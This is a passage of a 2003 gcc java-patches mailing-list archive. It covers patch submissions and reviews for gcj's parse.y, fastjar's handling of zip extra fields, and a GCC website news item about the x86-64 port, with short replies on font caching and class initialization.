28 Jan 2003 20:04:48 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id B83524F80B0; Tue, 28 Jan 2003 19:58:19 -0700 (MST) To: Java Patch List Cc: Gcc Patch List Subject: Patch: gcj and rhug build regression From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I am deeply CONCERNED and I want something GOOD for BREAKFAST! Date: 28 Jan 2003 19:58:19 -0700 Message-ID: <87n0lkr7as.fsf@fleche.redhat.com> Lines: 37 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii This patch fixes a build regression in rhug. Before this patch, some code in Tomcat fails to compile. The problem is that the bytecode back end already knows that `foo = bar', in an expression context, should leave the value on the stack. It doesn't correctly handle the trees generated by this code in patch_assignment -- code that isn't required in this case anyway. Tested on x86 Red Hat Linux 7.3. I rebuilt libgcj with this, ran the test suite, and also rebuilt rhug (still doesn't build, but at least we get further). Ok for 3.3 and trunk? Tom Index: ChangeLog from Tom Tromey * parse.y (patch_assignment): Only transform the rhs of an assignment when compiling to native. Index: parse.y =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/parse.y,v retrieving revision 1.405.2.4 diff -u -r1.405.2.4 parse.y --- parse.y 28 Jan 2003 06:19:18 -0000 1.405.2.4 +++ parse.y 29 Jan 2003 00:40:57 -0000 @@ -12873,7 +12873,7 @@ } /* Copy the rhs if it's a reference. */ - if (! flag_check_references && optimize > 0) + if (! flag_check_references && ! flag_emit_class_files && optimize > 0) { switch (TREE_CODE (new_rhs)) { From java-patches-return-5960-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 06:14:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19842 invoked by alias); 29 Jan 2003 06:14:35 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19833 invoked from network); 29 Jan 2003 06:14:34 -0000 Received: from unknown (HELO hotmail.com) (65.54.245.108) by 172.16.49.205 with SMTP; 29 Jan 2003 06:14:34 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 28 Jan 2003 22:14:34 -0800 Received: from 148.87.1.170 by by1fd.bay1.hotmail.msn.com with HTTP; Wed, 29 Jan 2003 06:14:33 GMT X-Originating-IP: [148.87.1.170] From: "Ranjit Mathew" To: java-patches@gcc.gnu.org Bcc: Subject: Re: Patch for Review: PR/9254 and other Win32 Threading Fixes Date: Wed, 29 Jan 2003 11:44:33 +0530 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 29 Jan 2003 06:14:34.0081 (UTC) FILETIME=[B154DD10:01C2C75D] >Ranjit> Sorry! (And Tom would also chide me for not including a "Fixes >Ranjit> PR java/9254" in the ChangeLog - Sorry again!) > >This particular patch didn't apply cleanly. I don't know why, but in >the end I had to do some hand editing, which is a pain. I double >checked my work, but the potential for error still remains. Could you >check too? :-( I checked it and it looks OK to me. Awfully sorry for the trouble. I generate my patches using "diff -u2" against the 3.3 snapshot that I have, type out my mail message, feed the *entire message as is* to "patch --dry-run -E -p0" against a clean snapshot, verify that the CVS copy hasn't changed since, and then post it. And it *still* doesn't apply cleanly... :-( >In a ChangeLog entry, before each line is a tab, not some number of >spaces. That's pretty pedantic, I know, but I always notice it >instantly due to Emacs font-lock. I've been making this change before >checking in your changes, but hopefully it wouldn't be hard for you to >change this before submitting. This is caused by my default vi expandtab setting. This is easy to correct. The ChangeLog standards from the GCC Coding Standards document don't bother to tell me about this though: http://www.gnu.org/prep/standards_40.html In the future, I'll only use TABs in the ChangeLogs. >Finally, the particular format you've been using to submit patches is >one of the most difficult ones for me to deal with. I have to edit >your message before I can apply the patch. I'd find it *much* more >convenient if the ChangeLog entry run through `clcleanup' first, or >even if it were just part of the patch. As it is, if I use my >mailer's key binding to directly apply your patch, I wind up with the >whole patch in the ChangeLog (as we saw with a fastjar patch last >week, bleah). :-( I am assuming that you're talking of these utils: http://subversions.gnu.org/cgi-bin/viewcvs/cvs-utils/cvs-utils/ in which case, I'll get them and see if they make my patches more amenable to "commit-from-email". I also think that you should update the following page: http://gcc.gnu.org/java/contrib.html since as far as I can tell, except for "diff -u2" v/s "diff -up", my posts have been following the guidelines in the "Submitting Patches" section. Apologies once more for the trouble I have been causing you! Sincerely Yours, Ranjit. _________________________________________________________________ Tired of spam? Get advanced junk mail protection with MSN 8. http://join.msn.com/?page=features/junkmail From java-patches-return-5961-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 07:39:20 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11007 invoked by alias); 29 Jan 2003 07:39:20 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10994 invoked from network); 29 Jan 2003 07:39:17 -0000 Received: from unknown (HELO deisui.org) (210.231.96.69) by 172.16.49.205 with SMTP; 29 Jan 2003 07:39:17 -0000 Received: from deisui.org (localhost [127.0.0.1]) by deisui.org (8.12.7/8.12.7/Debian-2) with ESMTP id h0T7h0ew008951 for ; Wed, 29 Jan 2003 16:43:00 +0900 To: java-patches@gcc.gnu.org Subject: PATCH: fastjar doesn't skip zip's extra fields correctly X-Attribution: DU X-Now-Playing: Ben Kweller's _Sha Sha_: "In Other Words" MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="Multipart_Wed_Jan_29_16:43:00_2003-1" From: Daiki Ueno Date: Wed, 29 Jan 2003 16:43:00 +0900 Message-ID: <981725bd-17df-4cc8-8196-4f0a019b2142@deisui.org> User-Agent: T-gnus/6.15.15 (based on Oort Gnus v0.15) --Multipart_Wed_Jan_29_16:43:00_2003-1 Content-Type: text/plain; charset=US-ASCII Hello, I found that some zip files couldn't be extracted with fastjar. More precisely, when such a zip file is present as an argument, zip's extra fields are not properly skipped because jartool.c:extract_jar does lseek(2) although in case pushback buffer is not empty. To reproduce the actual problem, try: % dd if=/dev/zero of=a.dat bs=512 count=1 % dd if=/dev/zero of=b.dat bs=512 count=1 % zip test.zip [ab].dat # where zip is InfoZIP's zip program % jar xf test.zip Error inflating file! (-3) The attached patch fixes this: 2003-01-29 Daiki Ueno * jartool.c (extract_jar): Don't lseek to skip extra fields. (consume): If the stream is seekable, do lseek. Regards, -- Daiki Ueno --Multipart_Wed_Jan_29_16:43:00_2003-1 Content-Type: application/octet-stream; type=patch Content-Disposition: attachment; filename="jartool.c.diff" Content-Transfer-Encoding: 7bit Index: jartool.c =================================================================== RCS file: /cvs/gcc/gcc/fastjar/jartool.c,v retrieving revision 1.21 diff -u -F^( -w -r1.21 jartool.c --- jartool.c 21 Jan 2003 20:53:31 -0000 1.21 +++ jartool.c 29 Jan 2003 07:30:16 -0000 @@ -1465,9 +1465,6 @@ } if(method == 8 || flags & 0x0008){ - if(seekable) - lseek(fd, eflen, SEEK_CUR); - else consume(&pbf, eflen); inflate_file(&pbf, f_fd, &ze); @@ -1502,9 +1499,6 @@ #endif } - if(seekable) - lseek(fd, eflen, SEEK_CUR); - else consume(&pbf, eflen); } @@ -1849,6 +1843,14 @@ printf("Consuming %d bytes\n", amt); #endif + if (seekable){ + if (amt <= (int)pbf->buff_amt) + pb_read(pbf, buff, amt); + else { + lseek(pbf->fd, amt - pbf->buff_amt, SEEK_CUR); + pb_read(pbf, buff, pbf->buff_amt); /* clear pbf */ + } + } else while(tc < amt){ rdamt = pb_read(pbf, buff, ((amt - tc) < RDSZ ? (amt - tc) : RDSZ)); #ifdef DEBUG @@ -1858,7 +1860,7 @@ } #ifdef DEBUG - printf("%d bytes consumed\n", tc); + printf("%d bytes consumed\n", amt); #endif return 0; --Multipart_Wed_Jan_29_16:43:00_2003-1-- From java-patches-return-5962-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 10:42:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3472 invoked by alias); 29 Jan 2003 10:42:25 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3458 invoked from network); 29 Jan 2003 10:42:24 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 29 Jan 2003 10:42:24 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-11.rdu.redhat.com [172.16.50.11]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 075ADABAF8; Wed, 29 Jan 2003 10:42:22 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0TAgKc20610; Wed, 29 Jan 2003 10:42:20 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15927.45068.386247.482731@cuddles.cambridge.redhat.com> Date: Wed, 29 Jan 2003 10:42:20 +0000 (GMT) To: tromey@redhat.com Cc: Java Patch List , Gcc Patch List Subject: Patch: gcj and rhug build regression In-Reply-To: <87n0lkr7as.fsf@fleche.redhat.com> References: <87n0lkr7as.fsf@fleche.redhat.com> Tom Tromey writes: > This patch fixes a build regression in rhug. > > Before this patch, some code in Tomcat fails to compile. The problem > is that the bytecode back end already knows that `foo = bar', in an > expression context, should leave the value on the stack. It doesn't > correctly handle the trees generated by this code in patch_assignment > -- code that isn't required in this case anyway. > > Tested on x86 Red Hat Linux 7.3. I rebuilt libgcj with this, ran the > test suite, and also rebuilt rhug (still doesn't build, but at least > we get further). > > Ok for 3.3 and trunk? Yes. Sorry, I never thought of the combination of -C -O. Silly me. I would have used flag-syntax-only instead of flag_emit_class_files, but I don't suppose it matters. We seem to randomly use one or the other. Andrew. From java-patches-return-5963-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 16:35:01 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16618 invoked by alias); 29 Jan 2003 16:35:01 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16604 invoked from network); 29 Jan 2003 16:35:00 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 29 Jan 2003 16:35:00 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-11.rdu.redhat.com [172.16.50.11]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 8467AABAF8; Wed, 29 Jan 2003 16:34:56 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0TGYsJ31277; Wed, 29 Jan 2003 16:34:54 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15928.686.125623.898720@cuddles.cambridge.redhat.com> Date: Wed, 29 Jan 2003 16:34:54 +0000 (GMT) To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Enable interpreter for x86_64 In-Reply-To: References: Andreas Jaeger writes: > > I would welcome a news entry on the GCC main side mentioning your and > Bo's work on both libffi and libjava. Can you draft up something and > send a patch to gcc-patches for this? Index: index.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/index.html,v retrieving revision 1.355 diff -c -r1.355 index.html *** index.html 28 Jan 2003 20:54:13 -0000 1.355 --- index.html 29 Jan 2003 16:33:36 -0000 *************** *** 83,88 **** --- 83,98 ----
+
January 29, 2003
+ +
+ Andrew Haley of Red Hat completed the work began by Bo Thorsen of SuSE + to port gcj to the x86_64. This is, as + far as we are aware, the first implementation of the Java programming + language to be made available on that platform. It will be part of + the GCC 3.3 release. +
+
January 28, 2003
The ongoing effort to remove warnings from the GCC code base itself, Andrew. From java-patches-return-5964-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 17:00:54 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5376 invoked by alias); 29 Jan 2003 17:00:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5346 invoked from network); 29 Jan 2003 17:00:53 -0000 Received: from unknown (HELO mail.eol.ca) (205.189.151.1) by 172.16.49.205 with SMTP; 29 Jan 2003 17:00:53 -0000 Received: from mantatest.com (static-1M-b1-60.highspeed.eol.ca [64.56.237.60]) by mail.eol.ca (Postfix) with SMTP id 06D7944B9A for ; Wed, 29 Jan 2003 12:02:33 -0500 (EST) Received: from scott ([192.168.22.60]) by mantatest.com ( IA Mail Server Version: 3.2.4. Build: 1096 ) ) ; Wed, 29 Jan 2003 11:57:57 -0500 Message-ID: <007e01c2c7b7$939e4180$3c16a8c0@mantatest.com> From: "Scott Gilbertson" To: Cc: References: <00a101c2bda1$784e31d0$3c16a8c0@mantatest.com> <87adhkuad1.fsf@fleche.redhat.com> Subject: Re: PATCH: XGraphicsConfiguration implement font metrics cache Date: Wed, 29 Jan 2003 11:57:58 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 > Scott> I also noticed a large speed improvement when painting a lot of > Scott> text fields. Tom> Sounds good. Do you want to try to fix the display-based caching Tom> thing first, or would you prefer the patch to go in as-is? I've already made a couple of small changes locally. I'll see if I can get per-display caching and a limit of 10 cached fonts per display happening in the next few days, in which case I think the patch should wait for those changes. From java-patches-return-5965-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 17:24:13 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26682 invoked by alias); 29 Jan 2003 17:24:13 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26611 invoked from network); 29 Jan 2003 17:24:12 -0000 Received: from unknown (HELO Cantor.suse.de) (213.95.15.193) by 172.16.49.205 with SMTP; 29 Jan 2003 17:24:12 -0000 Received: from Hermes.suse.de (Hermes.suse.de [213.95.15.136]) by Cantor.suse.de (Postfix) with ESMTP id A17781482E; Wed, 29 Jan 2003 18:24:11 +0100 (MET) To: Andrew Haley Cc: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Enable interpreter for x86_64 From: Andreas Jaeger Date: Wed, 29 Jan 2003 18:24:11 +0100 In-Reply-To: <15928.686.125623.898720@cuddles.cambridge.redhat.com> (Andrew Haley's message of "Wed, 29 Jan 2003 16:34:54 +0000 (GMT)") Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) XEmacs/21.4 (Honest Recruiter, x86_64-suse-linux) References: <15928.686.125623.898720@cuddles.cambridge.redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Andrew Haley writes: > Andreas Jaeger writes: > > > > I would welcome a news entry on the GCC main side mentioning your and > > Bo's work on both libffi and libjava. Can you draft up something and > > send a patch to gcc-patches for this? > > Index: index.html > =================================================================== > RCS file: /cvs/gcc/wwwdocs/htdocs/index.html,v > retrieving revision 1.355 > diff -c -r1.355 index.html > *** index.html 28 Jan 2003 20:54:13 -0000 1.355 > --- index.html 29 Jan 2003 16:33:36 -0000 > *************** > *** 83,88 **** > --- 83,98 ---- > >
> > +
January 29, 2003
> + > +
> + Andrew Haley of Red Hat completed the work began by Bo Thorsen of SuSE > + to port gcj to the x86_64. This is, as Please write this as "AMD x86-64 architecture". x86_64 is the abbreviation used for configure only. > + far as we are aware, the first implementation of the Java programming It definitly is the first publically available implementation ;-). > + language to be made available on that platform. It will be part of > + the GCC 3.3 release. > +
> + >
January 28, 2003
>
> The ongoing effort to remove warnings from the GCC code base itself, > > Andrew. > -- Andreas Jaeger SuSE Labs aj@suse.de private aj@arthur.inka.de http://www.suse.de/~aj From java-patches-return-5966-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 17:28:25 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31339 invoked by alias); 29 Jan 2003 17:28:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31303 invoked from network); 29 Jan 2003 17:28:24 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 29 Jan 2003 17:28:24 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-11.rdu.redhat.com [172.16.50.11]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 1CF1BABAF8; Wed, 29 Jan 2003 17:28:20 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0THSHn32038; Wed, 29 Jan 2003 17:28:17 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15928.3889.527522.991827@cuddles.cambridge.redhat.com> Date: Wed, 29 Jan 2003 17:28:17 +0000 (GMT) To: Andreas Jaeger Cc: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Enable interpreter for x86_64 In-Reply-To: References: <15928.686.125623.898720@cuddles.cambridge.redhat.com> Andreas Jaeger writes: > Andrew Haley writes: > > > Andreas Jaeger writes: > > > > > > I would welcome a news entry on the GCC main side mentioning your and > > > Bo's work on both libffi and libjava. Can you draft up something and > > > send a patch to gcc-patches for this? > > > > Index: index.html > > =================================================================== > > RCS file: /cvs/gcc/wwwdocs/htdocs/index.html,v > > retrieving revision 1.355 > > diff -c -r1.355 index.html > > *** index.html 28 Jan 2003 20:54:13 -0000 1.355 > > --- index.html 29 Jan 2003 16:33:36 -0000 > > *************** > > *** 83,88 **** > > --- 83,98 ---- > > > >
> > > > +
January 29, 2003
> > + > > +
> > + Andrew Haley of Red Hat completed the work began by Bo Thorsen of SuSE > > + to port gcj to the x86_64. This is, as > > Please write this as "AMD x86-64 architecture". x86_64 is the > abbreviation used for configure only. > > > + far as we are aware, the first implementation of the Java programming > > It definitly is the first publically available implementation ;-). Index: index.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/index.html,v retrieving revision 1.355 diff -u -r1.355 index.html --- index.html 28 Jan 2003 20:54:13 -0000 1.355 +++ index.html 29 Jan 2003 17:27:51 -0000 @@ -83,6 +83,16 @@
+
January 29, 2003
+ +
+Andrew Haley of Red Hat completed the work began by Bo Thorsen of SuSE +to port gcj to the AMD x86-64 +architecture. This is the first implementation of the Java +programming language to be made available on that platform. It will +be part of the GCC 3.3 release. +
+
January 28, 2003
The ongoing effort to remove warnings from the GCC code base itself, Andrew. From java-patches-return-5967-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 18:05:29 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31254 invoked by alias); 29 Jan 2003 18:05:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31076 invoked from network); 29 Jan 2003 18:05:28 -0000 Received: from unknown (HELO soumis.mandrakesoft.com) (195.68.114.34) by 172.16.49.205 with SMTP; 29 Jan 2003 18:05:28 -0000 Received: from thalys.mandrakesoft.com (thalys.mandrakesoft.com [192.168.100.134]) by soumis.mandrakesoft.com (Postfix) with ESMTP id D7B12228; Wed, 29 Jan 2003 19:05:24 +0100 (CET) Date: Wed, 29 Jan 2003 19:02:31 +0100 (CET) From: Gwenole Beauchesne To: Andreas Jaeger Cc: Andrew Haley , , Subject: Re: Enable interpreter for x86_64 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 29 Jan 2003, Andreas Jaeger wrote: > > + far as we are aware, the first implementation of the Java programming > > It definitly is the first publically available implementation ;-). FYI, Kaffe works there too since last August. However, this reminds me to actually send patches and port the JIT. ;-) Bye, Gwenole From java-patches-return-5968-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 18:16:59 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6646 invoked by alias); 29 Jan 2003 18:16:59 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6625 invoked from network); 29 Jan 2003 18:16:58 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 29 Jan 2003 18:16:58 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-11.rdu.redhat.com [172.16.50.11]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 57C58ABAF8; Wed, 29 Jan 2003 18:16:55 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0TIGrb01692; Wed, 29 Jan 2003 18:16:53 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15928.6805.251098.519671@cuddles.cambridge.redhat.com> Date: Wed, 29 Jan 2003 18:16:53 +0000 (GMT) To: Gwenole Beauchesne Cc: Andreas Jaeger , , Subject: Re: Enable interpreter for x86_64 In-Reply-To: References: Gwenole Beauchesne writes: > On Wed, 29 Jan 2003, Andreas Jaeger wrote: > > > > + far as we are aware, the first implementation of the Java programming > > > > It definitly is the first publically available implementation ;-). > > FYI, Kaffe works there too since last August. However, this reminds me to > actually send patches and port the JIT. ;-) Sorry, private ports don't count! I bet there are a a dozen ports out that that work but haven't been made available yet... Andrew. From java-patches-return-5969-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 18:39:03 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13481 invoked by alias); 29 Jan 2003 18:39:03 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13453 invoked from network); 29 Jan 2003 18:39:02 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 29 Jan 2003 18:39:02 -0000 Received: from fleche.redhat.com (tz0204.peakpeak.com [207.174.69.204]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA21020; Wed, 29 Jan 2003 11:39:01 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C80184F8080; Wed, 29 Jan 2003 11:32:11 -0700 (MST) To: Andrew Haley Cc: Java Patch List , Gcc Patch List Subject: Re: Patch: gcj and rhug build regression References: <87n0lkr7as.fsf@fleche.redhat.com> <15927.45068.386247.482731@cuddles.cambridge.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: My LIBRARY CARD expired... Date: 29 Jan 2003 11:32:11 -0700 In-Reply-To: <15927.45068.386247.482731@cuddles.cambridge.redhat.com> Message-ID: <87el6vrems.fsf@fleche.redhat.com> Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andrew" == Andrew Haley writes: Andrew> Yes. Sorry, I never thought of the combination of -C -O. Andrew> Silly me. Yeah. It's valid, but not useful, I think. I suppose someday somebody might want to make it useful. Andrew> I would have used flag-syntax-only instead of Andrew> flag_emit_class_files, but I don't suppose it matters. We Andrew> seem to randomly use one or the other. I think the bug would still occur with flag-syntax-only, since in this case that flag would be 0. I haven't looked at most of the uses of this flag, though I recall adding one or two to the bytecode front end to fix problems there that occurred when not generating any output. (`gcj --syntax-only foo.class' is surprisingly useful; I use it all the time to verify bytecode.) Tom From java-patches-return-5970-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 18:40:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14449 invoked by alias); 29 Jan 2003 18:40:35 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14437 invoked from network); 29 Jan 2003 18:40:35 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 29 Jan 2003 18:40:35 -0000 Received: from fleche.redhat.com (tz0204.peakpeak.com [207.174.69.204]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA21548; Wed, 29 Jan 2003 11:40:33 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 281FB4F8080; Wed, 29 Jan 2003 11:33:48 -0700 (MST) To: Andrew Haley Cc: Java Patch List , Gcc Patch List Subject: Re: Patch: gcj and rhug build regression References: <87n0lkr7as.fsf@fleche.redhat.com> <15927.45068.386247.482731@cuddles.cambridge.redhat.com> <87el6vrems.fsf@fleche.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Wait.. is this a FUN THING or the END of LIFE in Petticoat Junction?? Date: 29 Jan 2003 11:33:47 -0700 In-Reply-To: <87el6vrems.fsf@fleche.redhat.com> Message-ID: <878yx3rek4.fsf@fleche.redhat.com> Lines: 12 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Tom" == Tom Tromey writes: Andrew> I would have used flag-syntax-only instead of Andrew> flag_emit_class_files, but I don't suppose it matters. We Andrew> seem to randomly use one or the other. Tom> I think the bug would still occur with flag-syntax-only, since in this Tom> case that flag would be 0. Silly me, -C also passes flag-syntax-only to jc1. Sigh. Tom From java-patches-return-5971-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 18:42:54 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16619 invoked by alias); 29 Jan 2003 18:42:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16610 invoked from network); 29 Jan 2003 18:42:54 -0000 Received: from unknown (HELO ops2.one-point.com) (216.234.116.146) by 172.16.49.205 with SMTP; 29 Jan 2003 18:42:54 -0000 Received: from localhost (jsturm@localhost) by ops2.one-point.com (8.11.6/8.11.6) with ESMTP id h0TIgt811747; Wed, 29 Jan 2003 13:42:55 -0500 Date: Wed, 29 Jan 2003 13:42:55 -0500 (EST) From: Jeff Sturm To: Tom Tromey cc: java-patches@gcc.gnu.org Subject: Re: Class initialization, take two In-Reply-To: <87fzrje0d6.fsf@fleche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 23 Jan 2003, Tom Tromey wrote: > This patch looks weird, since it moves things around in a way I wasn't > expecting. However, I also ran into some new class init bugs, and > this patch definitely fixes them. It handles an unusual case, that of mutually-dependent class initializers. After thinking it through, I don't know any other circumstance requiring initializeClass to be reentrant from within a single thread. > Jeff> This patch is one way to handle it. An alternative is to add an > Jeff> explicit link step to class initialization, as the bytecode > Jeff> interpreter does. > > Do you think this would yield a cleaner result? Maybe. It should probably use resolveClass so it wouldn't have to have the "if (_Jv_IsInterpretedClass (this))" check anymore. But I'm pretty sure resolveClass has bugs. This should be reexamined when/if the code is merged with resolve.cc. If you don't mind I'll commit the patch as-is. > It would be nice to clean it all up. I'll submit a PR to that effect. Sounds good. Jeff From java-patches-return-5972-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 18:43:09 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16966 invoked by alias); 29 Jan 2003 18:43:09 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16940 invoked from network); 29 Jan 2003 18:43:09 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 29 Jan 2003 18:43:09 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-11.rdu.redhat.com [172.16.50.11]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 3CA6EABAF8; Wed, 29 Jan 2003 18:43:06 +0000 (GMT) Received: (from aph@localhost) by 